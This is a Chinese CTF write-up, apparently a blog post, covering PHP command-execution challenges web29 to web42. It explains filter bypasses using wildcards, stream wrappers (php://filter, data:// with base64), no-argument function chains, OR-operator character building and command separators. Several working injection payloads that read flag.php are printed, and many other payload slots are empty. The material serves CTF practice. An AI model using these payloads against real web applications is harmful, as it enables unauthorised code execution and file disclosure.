命令执行(1)
web29-web42
1、web29
题目:
代码分析:
(1)通配符
Linux系统中的常用通配符:
- *:代表任意字符0个或多个
- ?:代表任意字符1个
- [abcd]:匹配其中任意一个字符
- [a-z]:匹配范围a-z
payload:
?c=system('cat f*');
查看源码即可
(2)eval()
函数
查看文件:
?c=echo '';?><?php system('ls');
查看到有flag.php文件后,用include结合伪协议包含读取
伪协议php://filter
payload:
2、web30
题目:
这里过滤了flag、system、php
(1)反引号
payload:
(2)include+伪协议
payload:
3、web31
题目:
(1)绕过
- 空格过滤
- cat过滤
payload:
(2)include+伪协议:
payload:
4、web32
题目:
此处过滤了分号,括号等
- 无需括号函数
include+伪协议:
payload:
5、web33
题目:
过滤了引号,用数组作为参数绕过
include+伪协议:
payload:
6、web34
题目:
题目过滤了flag system php cat sort shell 点 引号 反引号 echo 分号 括号 冒号
include+伪协议:
payload:
7、web35
题目:
比上题多过滤了<
include+伪协议:
payload:
8、web36
题目:
多过滤了数字
include+伪协议:
payload:
9、web37
题目:
过滤了flag并且使用了include文件包含,也就是说在输入参数c的时候如果我们输入了flag.php则包含后我们就可以echo flag
data+伪协议:
(1)通配符绕过
payload:
?c=data://text/plain,<?php echo system('cat fl\*');?>
(2)base64绕过
payload:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
base64加密的是:
<?php system('cat flag.php');?>
10、web38
题目:
过滤了flag、PHP、file,原理同上
data+伪协议:
payload:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
11、web39
题目:
过滤了flag并且在文件包含C时限制了PHP后缀
(1)php://input:
(2)data://text/plain:
payload:
?c=data://text/plain,<?php echo system('cat fl*');?>
12、web40
题目:
过滤了数字,引号,冒号,美元符号等,考虑构造无参数函数进行文件读取,正则过滤的括号是中文的括号
无参数函数:
首先查看当前目录下的所有文件名
?c=print_r(scandir(current(localeconv())));
发现flag.php在倒数第二个数组,我们可以将数组逆序再将指针调整到下一个即可
?c=print_r(next(array_reverse(scandir(current(localeconv())))));
此时再读取flag.php即可
payload:
13、web41(不明白)
大佬博客
题目:
POST传入的参数先过滤再通过echo输出,再用eval执行
此题的过滤使得我们无法使用异或自增和取反构造字符,但是或运算符|
未过滤
可以尝试从ASCII为0-255的字符中,找到或运算能得到可用字符的字符
或运算绕过:
生成可用字符的集合:
从进行异或的字符中排除被过滤的,再判断异或得到的字符是否为可见字符
生成的rce_or.txt文件即为
传递参数
python exp.py <url>
python模块安装
14、web42
题目:
shell脚本
>/dev/null 2>&1
大致意思为不进行回显
让命令回显,进行命令分隔即可:
payload:
**?c=cat flag.php;**
**?c=cat flag.php||**
__EOF__

本文链接:https://www.cnblogs.com/zeroEMC/p/16832824.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 没有源码,如何修改代码逻辑?
· PowerShell开发游戏 · 打蜜蜂
· 在鹅厂做java开发是什么体验
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战